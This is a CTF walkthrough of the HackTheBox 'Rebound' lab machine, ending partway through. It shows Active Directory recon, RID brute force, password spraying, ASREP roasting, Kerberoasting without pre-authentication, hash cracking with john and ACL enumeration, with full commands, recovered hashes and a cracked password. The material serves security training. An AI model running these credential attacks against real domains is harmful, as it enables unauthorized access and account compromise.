index-logo

Rebound - HTB

walkthrough by elswix

Machine: Rebound
Difficulty: Insane
Platform: HackTheBox
Release: Released on 09/09/2023

About Rebound


Rebound is an insane difficulty machine on HackTheBox. Initially, we'll exploit RID brute force to obtain a list of valid users on the Domain Controller. One of these users is vulnerable to ASREPRoastable, however, its password is not crackable.


Auth as ldap_monitor


Even though we can't crack the user password, we find a way to combine both ASREPRoast and Kerberoasting Attack to obtain a hash for ldap_monitor. We successfully crack it offline using john.


Auth as oorend


By performing password spraying with the password we obtained for ldap_monitor, we notice that oorend has the same password, allowing us to authenticate as them.


Shell as winrm_svc


By running bloodhound-python to perform a comprehensive enumeration of the AD environment, we discovered that the ServiceMgmt group has special privileges that could lead to obtaining a shell as winrm_svc following certain steps. However, none of our users are members of ServiceMgmt. Upon inspecting the ACLs of ServiceMgmt, I noticed that oorend can add itself to the ServiceMgmt group, which provides us with an opportunity to follow those steps and ultimately gain access as winrm_svc.


Auth as tbrady


nce on the system as winrm_svc, upon inspecting the running processes, we noticed that some processes are running under a different Session ID, indicating that a user is logged in on the box. By running the exploit RemotePotato0, we were able to steal an NTLMv2 hash of tbrady, exploiting the active session. This hash is crackable, and we obtain the plaintext password.


Auth as delegator$


As tbrady, we can read the GMSA password of delegator$. Therefore, by using the bloodyAD tool, we obtain the NTLM hash of delegator$. Taking advantage of the PassTheHash technique, we achieve authentication as delegator$.


Shell as Administrator


The machine account delegator$ has constrained delegation privileges over a service. By configuring RBCD over delegator$, we impersonate the dc01$ machine account in delegator$, subsequently leveraging constrained delegation to impersonate the dc01$ machine account in dc01. Consequently, we gain access as administrator by dumping the NTDS and using its NTLM hash to get a shell via WinRM.


Recon


Initially, let's conduct a port scan to discover open ports on the victim machine. To achieve this, I'll use nmap.


elswix@ubuntu$ nmap 10.10.11.231 --min-rate 10000 -n -p- --open -oG portScan
Nmap scan report for 10.10.11.231
Host is up (0.14s latency).
Not shown: 53866 closed tcp ports (conn-refused), 11643 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49681/tcp open  unknown
49688/tcp open  unknown
49734/tcp open  unknown
51101/tcp open  unknown

Once the scan is complete, we'll launch a comprehensive scan to identify technologies running on these ports. To do so, firstly I'll extract open ports from the output file.


elswix@ubuntu$ cat portScan | grep -oP '\d{1,5}/open' | awk '{print $1}' FS="/" | xargs | tr ' ' ','
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49681,49688,49734,51101

Now, I'll use nmap to perform the scan:


elswix@ubuntu$ nmap -Pn 10.10.11.231 -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49681,49688,49734,51101 -oN fullScan

Nmap scan report for dc01.rebound.htb (10.10.11.231)
Host is up (0.32s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-29 02:11:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-29T02:12:45+00:00; +7h19m20s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-29T02:12:46+00:00; +7h19m20s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
...[snip]...

Notice that I have saved the output to a file; you should always do this on every scan!


At first glance, in the output, we can highlight a domain and the SAN. I'll add them to my hosts file.


elswix@ubuntu$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   hackency

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.11.231 dc01.rebound.htb rebound.htb

DNS Enumeration


Since port 53 is open, we could conduct some DNS enumeration. Firstly, with dig, I'll perform some DNS queries.


elswix@ubuntu$ dig @10.10.11.231 rebound.htb ns

; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.11.231 rebound.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20361
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;rebound.htb.            IN   NS

;; ANSWER SECTION:
rebound.htb.        3600    IN   NS   dc01.rebound.htb.

;; ADDITIONAL SECTION:
dc01.rebound.htb. 3600    IN   A    10.10.11.231

;; Query time: 204 msec
;; SERVER: 10.10.11.231#53(10.10.11.231) (UDP)
;; WHEN: Thu Mar 28 15:58:00 -03 2024
;; MSG SIZE  rcvd: 75

It didn't retrieve any relevant information.


Transfer Zone Attack (Failed)


Sometimes, misconfigured DNS services can be vulnerable to the Zone Transfer attack, the success of which could leak all registered subdomains.


elswix@ubuntu$ dig @10.10.11.231 rebound.htb axfr

; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.11.231 rebound.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

It didn't work, but it's worth checking out anyway.


LDAP - Port 389/636


Even if we lack valid credentials against the domain, we could still perform some anonymous (public) enumeration.


elswix@ubuntu$ ldapsearch -x -H ldap://10.10.11.231 -b 'DC=rebound,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=rebound,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Given the error returned, I realized that we need valid credentials to enumerate the LDAP service.


SMB - Port 445


As the SMB service is exposed, we could carry out some system enumeration. I'll use crackmapexec for this purpose.


elswix@ubuntu$ crackmapexec smb 10.10.11.231
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)

Let's try to list all the network-level shared resources:


elswix@ubuntu$ crackmapexec smb 10.10.11.231 --shares
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [-] Error getting user: list index out of range
SMB         10.10.11.231    445    DC01             [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

It returned an error due to the Null Session being disabled. However, we could carry out this enumeration employing a Guest Session:


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'elswix' -p '' --shares
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\elswix: 
SMB         10.10.11.231    445    DC01             [*] Enumerated shares
SMB         10.10.11.231    445    DC01             Share           Permissions     Remark
SMB         10.10.11.231    445    DC01             -----           -----------     ------
SMB         10.10.11.231    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.231    445    DC01             C$                              Default share
SMB         10.10.11.231    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.231    445    DC01             NETLOGON                        Logon server share 
SMB         10.10.11.231    445    DC01             Shared          READ            
SMB         10.10.11.231    445    DC01             SYSVOL                          Logon server share

As you can see, it worked, and we seem to have read access to the Shared resource.


I'll now connect to this resource using smbclient, without supplying a password:


elswix@ubuntu$ smbclient //10.10.11.231/Shared -U "elswix"
Password for [WORKGROUP\elswix]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Aug 25 18:46:36 2023
  ..                                  D        0  Fri Aug 25 18:46:36 2023

        4607743 blocks of size 4096. 1044413 blocks available
smb: \>

We were able to establish a connection to the resource, but there is no data on it.


RID Bruteforce


I have briefly explained this attack in the Manager WriteUP; however, I will provide a brief summary.


The RID (Relative Identifier) is a unique number assigned to each security principal (such as a user, group, or computer) within a Windows domain. The Bruteforce RID technique entails attempting to guess or enumerate valid RID (Relative Identifier) values within a domain. This process can be automated, with various possible RIDs tested to identify those that produce valid SIDs (Security Identifiers). RIDs are usually integer values that begin from 1000 and increment in steps.


We could attempt to perform this brute force attack using crackmapexec.


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'elswix' -p '' --rid-brute 10000 > cme_ridbruteforce.txt

I have stored the output of the command in a file, as it will allow me to apply some filters on the capture and extract specific information.


elswix@ubuntu$ cat cme_ridbruteforce.txt | grep SidTypeUser | awk '{print $6}' | sed 's/rebound\\//' > users.txt

Now, we have a list of valid users in the users.txt file:


elswix@ubuntu$ cat users.txt
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$
elswix@ubuntu$

Firstly, as I didn't encounter any potential passwords, I'll perform Password Spraying. I'll supply their usernames as passwords.


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Guest:Guest STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\DC01$:DC01$ STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\ppaul:ppaul STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\llune:llune STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\fflock:fflock STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\jjones:jjones STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\mmalone:mmalone STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\nnoon:nnoon STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\ldap_monitor:ldap_monitor STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\oorend:oorend STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\winrm_svc:winrm_svc STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\batch_runner:batch_runner STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\tbrady:tbrady STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\delegator$:delegator$ STATUS_LOGON_FAILURE

It seems that none of these users reuse their usernames as passwords. However, we could still leverage the presence of valid users on the domain. Let's attempt to perform an ASREP Roast attack.


Firstly, let me clarify some concepts about this attack:


An ASREP Roast attack targets Kerberos authentication. In this attack, the attacker requests authentication tickets from the Key Distribution Center (KDC) for accounts that do not require pre-authentication. These tickets are encrypted with a hash of the account's password. The attacker then attempts to crack the password hashes offline, gaining access to the plaintext passwords and potentially compromising the accounts.



Note


The TGT is first encrypted with the KDC master key, and then it is encrypted with the user master key. This attack aims to break a portion of the TGT cipher, which effectively belongs to the user master key encryption.


If you want to learn more about Kerberos Authentication, you should take a look at this article written by my friend ZaikoARG, which deeply describes how Kerberos authentication works.



To carry out this attack, we can use the GetNPUsers.py script from the Impacket suite.


elswix@ubuntu$ GetNPUsers.py rebound.htb/ -no-pass -usersfile users.txt
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...
$krb5asrep$23$jjones@REBOUND.HTB:06618fdc5edb202f5446eb07ee066150$19fa13c0fd0e5d1a414762f229c01a04644a3f48c4edebc006ece7c9dc54d4842456dc3b3ec224403a2e4d18b20f5020f6a9f7460f6f32461fef348a2e1621b5f387ede9eebdf2f730eaef34fe3bcd7b738c98465fff4ea2d7bb4bea596016277d967144b466d6ed2ca66482d65ceb2af25869563bf7bf687c33fc38f2e0f92ff235d8b043a7eff0565fde2264df15aebbe15db29cfa6a9dcaaa03d3ac41a9cea7bc448b815e39f58f382f0b8e3901b61581f513fa27ab5e0dd9775b264fdc8c195c75965c626f92c9120c9585fa499f04c5d04b769d5016c1b9490b963db886404b5bbaeb04680b7007
...[snip]...
[-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set

As you can see, it worked! The user jjones has UF_DONT_REQUIRE_PREAUTH set, making them vulnerable to an ASREP Roast attack. Since it returned a hash, we could attempt to brute force it and retrieve the user password. I've saved the hash into a file, and with john, I'll try to crack it.


elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt krb5asrep_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Cost 1 (etype) is 23 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:24 DONE (2024-03-28 19:52) 0g/s 584981p/s 584981c/s 584981C/s  0839236891..*7¡Vamos!
Session completed.

It didn't crack! So, at this point, this hash is useless.


Kerberoasting Attack without Pre Authentication


As you may know, you need to have valid credentials against the domain to perform a Kerberoasting Attack. However, there is a way to achieve this without pre-authentication, as detailed in this article from The Hacker Recipes.



In September 2022, Charlie Cark explained how Service Tickets could be obtained through AS-REQ requests (which are usually used for TGT requests), instead of the usual TGS-REQ. He demonstrated (and implemented) how to abuse this in a Kerberoasting scenario.


If an attacker knows of an account for which pre-authentication isn't required (i.e. an ASREProastable account), as well as one (or multiple) service accounts to target, a Kerberoast attack can be attempted without having to control any Active Directory account (since pre-authentication won't be required).



Since jjones is ASREProastable, we could attempt to carry out this attack. When Rebound was launched, the official Impacket repository didn't include the -no-preauth option in the GetUserSPNs.py script. However, nowadays it's included in the latest commits (but not in a stable release).


Even though the -no-preauth option is included in the official repository, I'll use the getuserspns-nopreauth branch from the Impacket repository at ShutdownRepo.


Installation


Firstly, let's clone the repository, specifying the getuserspns-nopreauth branch:


elswix@ubuntu$ git clone https://github.com/ShutdownRepo/impacket -b getuserspns-nopreauth
Cloning into 'impacket'...
remote: Enumerating objects: 24366, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 24366 (delta 13), reused 14 (delta 9), pack-reused 24340
Receiving objects: 100% (24366/24366), 10.24 MiB | 10.43 MiB/s, done.
Resolving deltas: 100% (18491/18491), done.

Now, let's set up a virtual Python environment and install all dependencies:


elswix@ubuntu$ python3 -m venv venv
elswix@ubuntu$ . venv/bin/activate
elswix@ubuntu$ pip install .
Processing /opt/impacket
  Preparing metadata (setup.py) ... done
...[snip]...
Successfully installed Jinja2-3.1.3 MarkupSafe-2.1.5 Werkzeug-3.0.1 blinker-1.7.0 cffi-1.16.0 charset_normalizer-3.3.2 click-8.1.7 cryptography-42.0.5 dnspython-2.6.1 dsinternals-1.2.4 flask-3.0.2 future-1.0.0 impacket-0.12.0.dev1+20230928.161134.d2103449 itsdangerous-2.1.2 ldap3-2.9.1 ldapdomaindump-0.9.4 pyOpenSSL-24.1.0 pyasn1-0.6.0 pycparser-2.21 pycryptodomex-3.20.0 six-1.16.0
elswix@ubuntu$

Now, running GetUserSPNs.py, we observe that -no-preauth option is available:


elswix@ubuntu$ GetUserSPNs.py
Impacket v0.12.0.dev1+20230928.161134.d2103449 - Copyright 2023 Fortra
...[snip]...
options:
  -h, --help            show this help message and exit
  -target-domain TARGET_DOMAIN
                        Domain to query/request if different than the domain of the user. Allows for Kerberoasting across
                        trusts.
  -no-preauth NO_PREAUTH
                        account that does not require preauth, to obtain Service Ticket through the AS
  -stealth              Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. May cause huge memory
                        consumption / errors on large domains.
  -usersfile USERSFILE  File with user per line to test
...[snip]...
elswix@ubuntu$

Unlike the usual kerberoasting attack, we have to specify a users file and the ASREPRoastable user:


elswix@ubuntu$ GetUserSPNs.py -no-preauth "jjones" -dc-ip 10.10.11.231 -usersfile users.txt rebound.htb/
Impacket v0.12.0.dev1+20230928.161134.d2103449 - Copyright 2023 Fortra

[-] Principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$1e36d0b...[snip]...b62bbb4c6b16bea7
$krb5tgs$18$DC01$$REBOUND.HTB$*DC01$*$3fda56...[snip]...00756a59bceb
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$1f03237a7b7b...[snip]...3bf08d4f973d1c3
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$13930cd05cfde5329...[snip]...a369c3d3391f153d88475f

It returned four hashes, which I will save into a file to subsequently crack them.


elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt krb5tgs_hashes.txt
Warning: only loading hashes of type "krb5tgs", but also saw type "krb5tgs-sha1"
Use the "--format=krb5tgs-sha1" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

1GR8t@$$4u       (?)     

1g 0:00:00:08 DONE (2024-03-29 08:21) 0.1121g/s 1461Kp/s 1461Kc/s 1461KC/s 1Goatrope..1DEN8864
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

As you can see, one hash was successfully cracked, so we obtained a plaintext password. As I don't know who it belongs to, I'll perform password spraying


elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u' --continue-on-success
crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u' --continue-on-success
SMB         10.10.11.231    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Administrator:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Guest:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\krbtgt:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\DC01$:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [+] rebound.htb\ldap_monitor:1GR8t@$$4u 
SMB         10.10.11.231    445    DC01             [+] rebound.htb\oorend:1GR8t@$$4u 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         10.10.11.231    445    DC01             [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE

As you can see, this password belongs to the users oorend and ldap_monitor. Having valid credentials implies obtaining a broader vector for enumeration. Before beginning further enumeration, I'll check if these users belong to the Remote Management Group; if they do, we could gain access to the system using tools like Evil-WinRM.


elswix@ubuntu$ crackmapexec winrm 10.10.11.231 -u 'ldap_monitor' -p '1GR8t@$$4u'
SMB         10.10.11.231    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:rebound.htb)
HTTP        10.10.11.231    5985   DC01             [*] http://10.10.11.231:5985/wsman
HTTP        10.10.11.231    5985   DC01             [-] rebound.htb\ldap_monitor:1GR8t@$$4u 
elswix@ubuntu$ crackmapexec winrm 10.10.11.231 -u 'oorend' -p '1GR8t@$$4u'
SMB         10.10.11.231    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:rebound.htb)
HTTP        10.10.11.231    5985   DC01             [*] http://10.10.11.231:5985/wsman
HTTP        10.10.11.231    5985   DC01             [-] rebound.htb\oorend:1GR8t@$$4u

They don't belong to the Remote Management Users group, so there is no potential vector for accessing the system via WinRM.


RPC Enumeration


As we have valid credentials, we could attempt to connect to the RPC service to enumerate users, groups, and gather interesting information about the DC. While LDAP is also an option, this time I'll opt for RPC.


elswix@ubuntu$ rpcclient -U 'oorend%1GR8t@$$4u' 10.10.11.231
rpcclient $>

It worked! Now we can start our enumeration. We already have valid users. Additionally, we can explore existing groups on the DC:


rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[ServiceMgmt] rid:[0x1e03]
rpcclient $>

These groups look normal; however, we can highlight the ServiceMgmt group, which is not a default group. Let's copy its RID and search for members of this group


rpcclient $> querygroupmem 0x1e03
    rid:[0x79f] attr:[0x7]
    rid:[0xd36] attr:[0x7]
rpcclient $>

As we can't see the usernames, we can use query user and supply their RID.


rpcclient $> queryuser 0x79f
    User Name   :  ppaul
    Full Name   :  
...[snip]...
rpcclient $> queryuser 0xd36
    User Name   :  fflock
    Full Name   :  
...[snip]...
rpcclient $>

These users belong to the ServiceMgmt group. However, we lack valid credentials for them.


Bloodhound


Let's launch BloodHound remotely to perform a thorough enumeration against the Active Directory environment. To do this, firstly you have to install BloodHound from PyPi:


elswix@ubuntu$ pip install bloodhound

Upon executing it, it threw an error.


elswix@ubuntu$ bloodhound-python -c all -u 'ldap_monitor' -p '1GR8t@$$4u' -d rebound.htb -ns 10.10.11.231 --zip --use-ldaps
INFO: Found AD domain: rebound.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.rebound.htb
INFO: Found 1 domains
...[snip]...
  File "/home/elswix/Desktop/elswix/HTB/Rebound/content/bh/venv/lib/python3.10/site-packages/bloodhound/ad/utils.py", line 362, in get_entry_property
    value = entry['attributes'][prop]
TypeError: 'NoneType' object is not subscriptable
elswix@ubuntu$

The latest version crashes running with -c all, I was able to fix it by modifying the source code, but installing an older version is an easier solution.


elswix@ubuntu$ pip install bloodhound==1.6.1

This worked perfectly!


elswix@ubuntu$ bloodhound-python -c all -u 'ldap_monitor' -p '1GR8t@$$4u' -d rebound.htb -ns 10.10.11.231 --zip
INFO: Found AD domain: rebound.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
...[snip]...
resolved.
INFO: Done in 00M 49S
INFO: Compressing output into 20240329163209_bloodhound.zip
elswix@ubuntu$

After importing the ZIP file into BloodHound and searching for the shortest path to high-value targets, the result is messy.



Looking at the Kerberoastable accounts, we can see ldap_monitor and the gmsa.rebound.htb accounts:



The account gmsa.rebound.htb has the sAMAccountName delegator$. Its name is a hint for later.


The ServiceMgmt group caught my attention, and while searching for potential privilege escalation vectors, I came across the following:



The ServiceMgmt group has the GenericAll privilege over the SERVICE USERS OU, which contains the WINRM_SVC user, who can enter an interactive session with the target computer. Let's explain this concepts:


GenericAll: It is an access control permission in Windows systems that grants a user the right to perform any permitted operation on an object, such as viewing, modifying, or deleting the object, regardless of any other specific permissions the user may have.


As per the bloodhound documentation:


Contains: GPOs linked to a container apply to all objects that are contained by the container. Additionally, ACEs set on a parent OU may inherit down to child objects. The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types


CanPSRemote: PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system.


Exploiting this could allow us to gain access to the system. However, there is a problem. We don't have credentials for any of the users that belong to this group, and according to the BloodHound enumeration, there is no way, leveraging the users we obtained, to gain access to the ServiceMgmt group.


When I was exploiting this machine for the first time, it took me a lot of time to find the right way. Since the users ppaul and fflock belong to ServiceMgmt, I assumed finding a way to access these users would be the correct path. However, it wasn't, so I decided to manually inspect the ACLs of ServiceMgmt.


If we had access to the system, we could import the PowerView module to perform enumeration. However, since this is not the case, we must opt for an alternative. I'll use the (partial) Python alternative Pywerview:


elswix@ubuntu$ pywerview get-objectacl --name 'ServiceMgmt' -w rebound.htb -u 'oorend' -p '1GR8t@$$4u' -t 10.10.11.231 --tls --resolve-sids --resolve-guids
...[snip]...
objectdn:               CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
objectsid:              S-1-5-21-4078382237-1492182817-2568127209-7683
acetype:                ACCESS_ALLOWED_OBJECT_ACE
binarysize:             40
aceflags:               
accessmask:             256
activedirectoryrights:  extended_right
isinherited:            False
securityidentifier:     Authenticated Users
objectaceflags:         object_ace_type_present
objectacetype:          Send-To
inheritedobjectacetype: All
iscallbak:              False

objectdn:              CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
objectsid:             S-1-5-21-4078382237-1492182817-2568127209-7683
acetype:               ACCESS_ALLOWED_ACE
binarysize:            36
aceflags:              
accessmask:            8
activedirectoryrights: self
isinherited:           False
securityidentifier:    CN=oorend,CN=Users,DC=rebound,DC=htb
iscallbak:             False
...[snip]...
elswix@ubuntu$

Of course, it returned a very long output, but while analyzing it, one ACE instantly caught my attention. As you have seen above, oorend has a "Self" right over ServiceMgmt.


According to HackTricks, the "Self" privilege enables attackers to add themselves to specific groups, such as Domain Admins, through commands that manipulate group membership directly. I don't know why it was not reported on the BloodHound enumeration; probably because we installed an outdated version.


